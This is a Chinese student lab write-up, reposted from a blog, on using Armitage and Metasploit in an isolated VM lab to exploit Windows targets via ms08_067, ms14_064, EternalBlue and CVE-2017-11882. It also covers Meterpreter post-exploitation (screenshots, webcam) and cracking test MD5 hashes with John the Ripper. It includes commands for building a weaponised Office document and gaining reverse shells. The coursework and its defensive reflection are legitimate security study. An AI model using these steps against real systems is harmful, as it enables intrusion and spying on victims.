码迷,mamicode.com
首页 > 其他好文 > 详细

基于Armitage的MSF自动化漏洞攻击实践

时间:2018-05-20 14:13:40      阅读:9095      评论:0      收藏:0      [点我收藏+]

标签:original   net   cmd   default   /etc   windows 9   tom   /etc/   试验   

基于Armitage的MSF自动化漏洞攻击实践

目录

返回目录

实践环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为共享网络模式):
    • Kali Linux - 64bit(攻击机,IP为10.211.55.10
    • Windows 7 - 64bit(靶机,IP为10.211.55.14
    • Windows XP Professional Version 2002 Service Pack 3(靶机,IP为10.211.55.16

返回目录

预备知识

  • Armitage基本介绍
    技术分享图片
    • Armitage是一款基于Java的Metasploit图形界面化的攻击软件,可以用它结合 Metasploit中已知的exploit来针对主机存在的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高,需要记忆的命令过多,而Armitage完美的解决了这一问题,用户只需要简单的点击菜单,就可以实现对目标主机的安全测试和攻击。Armitage良好的图形展示界面,使得攻击过程更加直观,用户体验更好。因其操作的简单性,尤其适合Metasploit初学者对目标系统进行安全测试和攻击。
  • Armitage攻击目标主机的的一般方法

    • 目标网络扫描:为了确定目标主机所在网络结构的网络拓扑,为后续目标主机信息搜索和攻击奠定基础。
    • 目标主机信息搜集:为了收集目标主机的漏洞信息,根据收集到的漏洞信息可以利用Armitage在Metasploit中自动搜索合适的攻击模块。
    • 目标主机攻击模块搜索:主要方法是依据发现的漏洞信息寻找可以突破目标系统的现有漏洞利用模块,为具体的攻击方案制定提供尽可能多的可靠支撑。

返回目录

Armitage基础配置

  • Armitage官网妹子镇楼:
    技术分享图片
  • 打开Kali攻击机,在终端中输入/etc/init.d/postgresql start命令启动postgresql服务:
    技术分享图片
  • 输入armitage命令启动Armitage:
    技术分享图片
    也可以通过菜单栏图标直接打开Armitage! 对就是这个一脸坏笑的科技感十足的妹子233
    技术分享图片
    界面如下:
    技术分享图片
  • 由于本次实践中靶机的IP已知,这里可以直接导入靶机的IP,不过更一般的方法是根据已知信息推导出目标主机所在网段的IP,扫描目标网段完整信息,确认目标网络拓扑结构以实施网络侦查。依次选择Hosts->Nmap Scan->Quick Scan(OS detect)
    技术分享图片
    填写靶机所在网段10.211.55.0/24
    技术分享图片
    唔...这不就同样给靶机扫出来了吗!
    技术分享图片
  • 选中靶机10.211.55.16,右键选择Services,查看靶机上开启的服务:
    技术分享图片
    可见靶机的139端口开启了netbios-ssn服务,445端口开启了microsoft-ds服务~
  • 选中靶机10.211.55.16,右键选择Scan,Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据:
    技术分享图片
    可见类似前几次实验在Metasploit中手动配置主机号、端口号等设置现在统统直接自动化了!
  • 利用上一步中漏洞扫描得到的漏洞信息,自动搜索Metasploit攻击模块库,寻找合适的攻击模块。选中靶机10.211.55.16,依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索寻找合适的攻击模块:
    技术分享图片
  • 搜索完成,Happy hunting^_^
    技术分享图片
    返回目录

ms08_067_netapi:自动化漏洞溢出攻击实践

  • ms08_067漏洞介绍:

    This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

    • ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
  • 在利用Armitage完成对靶机的攻击模块自动化搜索以后,选中10.211.55.16主机右键可以发现多了Attack菜单。依次选择Attack->smb->ms08_067_netapi菜单,选择smb漏洞下的ms08_067漏洞对XP靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit->windows->smb->ms08_067_netapi找到该漏洞):
    技术分享图片
  • 在弹出的攻击配置对话框中配置LHOST/RHOST、LPORT/RPORT等信息(一般会自动配置好,这里把LPORT改成学号),Targets处配置靶机的系统(一般默认自动检测靶机系统),勾选Use a reverse connection,点击Launch开始攻击:
    技术分享图片
  • Armitage会进行一系列自动化攻击!攻击完成后,可以看到靶机的图标会发生明显变化:
    技术分享图片
  • Armitage会自动建立一个驻留在内存的shellcode即Meterpreter。在攻击成功的靶机上右键选择Meterpreter 1->Interact->Command Shell,输入dir命令查看靶机C:\WINDOWS\system32目录下的系统文件:
    技术分享图片
    攻击完成(?????????):
    技术分享图片
  • 在攻击成功的靶机上右键选择Meterpreter 1->Interact->Meterpreter Shell,输入getuid命令查看靶机当前用户的权限是SYSTEM权限:
    技术分享图片
    攻击完成(?????????):
    技术分享图片

返回目录

ms14_064_ole_code_execution:IE漏洞自动化攻击实践

  • ms14_064_ole_code_execution漏洞简介:

    This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.

  • 在Armitage左侧树型目录下依次选择exploit->windows->browser->ms14\_064\_ole\_code\_execution找到该漏洞并双击打开配置界面开始配置。注意!此处需要把AllowPowershellPrompt置为1!!然后配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改成学号,其余均取默认值),Targets处配置靶机的系统Windows XP,点击Launch开始攻击:
    技术分享图片
  • Armitage会进行一系列自动化攻击!
    技术分享图片
  • 靶机打开IE浏览器,输入meterpreter提供的URLhttp://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/并回车,在靶机看来似乎并没有发生什么!然而此时Armitage中靶机的图标已发生明显变化,表明Kali攻击机已攻击成功!!
    技术分享图片
    技术分享图片
  • 开始操作一波吧^_^在攻击成功的靶机上右键选择Meterpreter 1,发现除了上个攻击实践中查看Command ShellMeterpreter Shell功能之外,还具有查看浏览器文件、进程、截屏等功能!
    • 选择Explore->Browse Files查看浏览器文件: 技术分享图片
    • 选择Explore->Show Processes查看靶机进程(这个比较有用啊emmm):
      技术分享图片
    • 选择Explore->Screenshot进行截屏(听说你是截屏狂魔?):
      技术分享图片
    • 选择Explore->Webcam shot调一波网络摄像头(颜控必备233):
      技术分享图片
      什么?!竟然没装摄像头!欺骗我感情啊o(︶︿︶)o

返回目录

ms17_010_eternalblue:“永恒之蓝”自动化攻击实践

  • ms17_010_eternalblue漏洞介绍:

    This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

    • 百度上EternalBlue一般指去年爆发的WannaCry勒索病毒,实际上是该勒索病毒软件利用了NSA泄露的危险漏洞EternalBlue进行传播。关于WannaCry详见WannaCry - 百度百科以及我去年写的博客应对WannaCry勒索危机之关闭445端口等危险端口——以本人Windows7系统为例
    • 原理:
      • 利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。
      • 利用windows系统的Windows SMB远程执行代码漏洞向Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息,能允许远程代码执行。
    • 主要用途:
      • Windows的SMBv1、SMBv2远程溢出漏洞,对应MS17_010,主要针对445端口
    • 影响范围:
      • 较广,从WindowsXP到Windows server 2012
  • 在Armitage菜单栏依次选择Hosts->Nmap Scan->Quick Scan(OS detect)并填写靶机所在网段10.211.55.0/24搜索存活的主机:
    技术分享图片
    发现两台可以攻击的靶机,一台XP(IP为10.211.55.16)一台win7(IP为10.211.55.14):
    技术分享图片
  • 依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索靶机寻找合适的攻击模块,对于win7右键依次选择Attack->smb,可以发现Armitage提供了5个可供攻击的smb漏洞,选择check exploits检查这些漏洞是否能被攻击:
    技术分享图片
    可以看到除了第一个漏洞ipass_pipe_exec没有检测结果不知道能否进行攻击之外其他4个全部阵亡,要么不可利用(not exploitable)要么检测不出来(not support check):
    技术分享图片
    技术分享图片
    并没有找到所谓的eternalblue,怎么破?
  • 别着急,这里我们还是在Armitage左侧树型目录下依次选择exploit->windows->smb->ms17_010_eternalblue找到传说中的eternalblue永恒之蓝并双击打开配置界面,相关配置均用默认值即可:
    技术分享图片
    特别注意的是,eternalblue是针对445端口进行攻击的,攻击成功与否关键在于靶机是否开放了这个端口!!!
  • 点击Launch开始攻击win7:
    技术分享图片
    技术分享图片
    攻击不成功?!再来!
  • 重新双击打开eternalblue配置界面,勾选Use a reverse connection,点击Launch开始攻击:
    技术分享图片
    看看win7靶机的图标,攻击成功!!!
    技术分享图片
    查看session并进入,获取shell:
    技术分享图片
    接下来该干什么,你懂的^_^Happy hunting^_^
  • 不过另一台靶机就没那么给面子了,可能由于eternalblue只能攻击Windows 7和Windows server 2008,攻击xp时会显示操作系统不匹配攻击不成功(._.)
    技术分享图片

返回目录

office_ms17_11882:Office漏洞自动化攻击实践

  • Microsoft Office CVE-2017-11882漏洞介绍:

    Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

    • 这是一个潜伏了17年之久的远程代码执行漏洞。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。原理是利用了Office的一个EQNEDT32.EXE(公式编辑器)组件,攻击者能够以当前登录的用户的身份执行任意命令。详细请参照打开文档变肉鸡:潜伏17年的“噩梦公式”Office漏洞攻击分析
    • CVE-2017-11882漏洞影响版本:
      • Office 365
      • Microsoft Office 2000
      • Microsoft Office 2003
      • Microsoft Office 2007 Service Pack 3
      • Microsoft Office 2010 Service Pack 2
      • Microsoft Office 2013 Service Pack 1
      • Microsoft Office 2016
  • 在win7靶机上安装Microsoft Office 2016:
    技术分享图片
  • 在Kali攻击机中依次输入以下命令生成doc测试文件:
    • 安装启动nginx:

      apt-get install nginx
      cd /usr/share/nginx/html/
      systemctl start nginx
    • 下载生成doc的python脚本:

      git clone https://github.com/Ridter/CVE-2017-11882.git
      cd CVE-2017-11882/
    • 生成测试文件cve.doc(靶机在打开该测试文件时同时会自动打开计算器程序calc.exe,以验证Office CVE-2017-11882漏洞的存在):

      python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
    • cve.doc放到网站根目录:

      cp cve.doc /usr/share/nginx/html/
      ls /usr/share/nginx/html/
      技术分享图片
  • 用ncat向靶机发送cve.doc
    • win7靶机用命令行进入ncat目录,打开监听:

      ncat.exe -lv 5314 > cve.doc
    • Kali攻击机建立连接并传输:

      ncat -nv 10.211.55.14 5314 < cve.doc
      技术分享图片
  • 靶机进入ncat目录,打开cve.doc,成功弹出calc.exe计算器程序,测试成功:
    技术分享图片
    技术分享图片
  • 在Armitage左侧树型目录下依次选择exploit->windows->fileformat->office\_ms17\_11882找到该漏洞并双击打开配置界面开始配置,注意有两处配置需要手动修改:
    • FILENAME+一栏填写生成doc文件的名字cve2.doc
    • 设置URI路径时要与上面生成doc时配置的路径一致!
      技术分享图片
  • 点击Launch开始自动化攻击流程:
    技术分享图片
  • 注意这条提示信息!它指明了刚刚MSF生成的cve2.doc所在路径!
    技术分享图片
    然后我们进入该目录并用ncat把cve2.doc传到靶机上:
    技术分享图片
  • win7靶机进入ncat目录,打开cve2.doc,触发访问10.211.55.10:8080/5314就会得到反弹到5314端口的TCP会话:
    技术分享图片
    技术分享图片
    于是可怜的靶机又被我攻陷了哈哈哈哈哈!!
    技术分享图片
    来抓个屏笑一个?^_^

返回目录

John the Ripper_linux口令破解模块:Armitage下Auxiliary辅助模块应用

  • jtr_linux密码破解模块简介:

    This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.

    • 用途:最流行的口令破解器,用于破解弱口令Hash(默认只破解MD5和DES,将Crypt选项置为true也能够慢速破解Blowfish和SHA)
  • John the Ripper简介:

    The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.

    • JTR官网:John the Ripper - Metasploit Unleashed
    • 原理:JTR(以及任何离线密码破解器)的工作方式是计算列表(或所生成的)单词的Hash,并将它们与需要被破解的Hash对比,当存在匹配时它就假设密码找到了。
  • 首先我们需要以特定格式设置用户名和密码Hash(这里选择用MD5在线生成):
    • 访问MD5在线加解密网站CMD5,在上方【密文】处输入一段字符串,下方【查询结果】处就立即显示出结果(只要不超过31位,否则会卡住233):
      技术分享图片
    • 分别将不同用户名对应的密码经过MD5在线加密之后得到Hash值,获得下面这张表:

      用户名 密码 Hash
      admin admin 21232f297a57a5a743894a0e4a801fc3
      user user ee11cbb19052e40b07aac0ca060c23ee
      Tom password 5f4dcc3b5aa765d61d8327deb882cf99
      jtr_linux abc123 e99a18c428cb38d5f260853678922e03
      20155314 qwertyu123. 682e9cfe26d949a10009cfc9969076ad
      kxjsjc@163.com kxjsjc_wx_1553 d80b3f4f2517d9a3ecf2a1e8031f6ff1
  • 在Kali攻击机中新建一个名为hashes.txt的文本文件,把表中信息添加进去,每行包含一个用户名和一个Hash,以:分隔(username:hash):
    技术分享图片
  • 在Armitage左侧树型目录下依次选择auxiliary->analyze->jtr_linux并双击打开开始配置,配置好JOHN_PATH然后点Launch
    技术分享图片
  • show options命令还可以查看模块的有效选项及其详细描述:
    技术分享图片
  • Armitage会为我们生成一个单词列表文件WordList,但是不知道什么原因它并没有识别出我的hashes.txt而报错:(
    技术分享图片
  • 此时我们手动使用刚刚Armitage生成的单词列表进行破解,打开终端并执行以下命令:

    john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt
    技术分享图片
    可以看到单词列表中6个口令破解了4个。我们还能看出,John每秒能尝试10,013,000次(10,013KC/s)!!!
  • 至于剩下的两个,可能是我把密码设置得太复杂的原因吧一直没破解出来(? ?;)将--wordlist选项去掉采用暴力破解的方式也一直没跑出来(? ?;)时间原因跑了不到10分钟就被我掐掉了感觉速度还是比彩虹表要慢很多啊(? ?;)
    技术分享图片

返回目录

实践中遇到的问题及解决过程

启动Armitage时报错提示Could not connect to database

解决方案

  • 根据提示在终端中输入/etc/init.d/postgresql start命令启动postgresql服务,重启Armitage即可:
    技术分享图片

返回目录

实践总结与体会

??Hacker的漏洞攻击也不是万能的。本次漏洞攻击实验让我感到非常疲惫,从周三开始装各种虚拟机挨个找漏洞一直弄到周六才难得成功第一次攻击。在做第一个ms08_067漏洞攻击时,首先是靶机操作系统的选择上,由于第一个经常使用的win7虚拟机已在清明假期被我用腾讯电脑管家打好了补丁很可能没办法实施攻击,因此我先拿PKI实验课上装的没有任何安全防护的win7客户机做试验,发现不行,那就换xp试试呗!然后我便用硬盘里珍藏多年的xp professional镜像安装了一个xp虚拟机,兴高采烈地配置好Armitage,一攻击发现还是不行!!最后问了很多大佬才知道用英文版的xp可以成功,但这我还是攻击了好几次的结果……而“永恒之蓝”的攻击更是连xp都不行而只能用PKI的win7虚拟机才能完成……总的来说,漏洞攻击因“机”而异,寻找漏洞更是完全取决于Hacker的眼力和本领。网络攻防其实就是“找漏洞”和“堵漏洞”之间的较量,而所谓“道高一尺魔高一丈”,漏洞攻击更具有先手优势。如今,在安全技术已经比较成熟的几大主流操作系统又在各种知名杀软的保护加持之下,往往被用户认为相对“安全”,但一个新漏洞的发现往往能引起轩然大波,拿到“黑市”中去卖能一夜暴富;更有甚者如去年不法分子利用NSA武器库泄漏的危险漏洞“永恒之蓝”制作出一款蠕虫式勒索病毒软件WannaCry并借助网络大范围传播,锁定被感染用户的系统、加密全部数据并向直接其索取高额比特币,导致一场全球性互联网灾难!
??给我们的启示在于,打补丁的方式虽然可以防范漏洞攻击,但这毕竟是被动的,是在攻击发生之后采取的行为。首先从源头上来说,操作系统研发者就不应该让这些攻击成为可能,但无奈地球上毕竟不存在完美的程序猿,写代码时难免会产生bug。从安全人员的角度来看,要保护一个系统,必须主动一点,像Hacker那样并抢在Hacker之前对当前系统可能存在的所有漏洞进行检测,把漏洞堵起来,不安全的因素找出来,各种安全屏障立起来,让Hacker无机可乘!

技术分享图片
最后还是要感谢一下一路陪我走来的Mac,他的性能足够强劲以至于让我能同时开3个虚拟机做渗透测试(>_<)辛苦啦(>_<)

返回目录

参考资料

返回目录

基于Armitage的MSF自动化漏洞攻击实践

标签:original   net   cmd   default   /etc   windows 9   tom   /etc/   试验   

原文地址:https://www.cnblogs.com/crazymosquito/p/9063096.html

(0)
(2)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!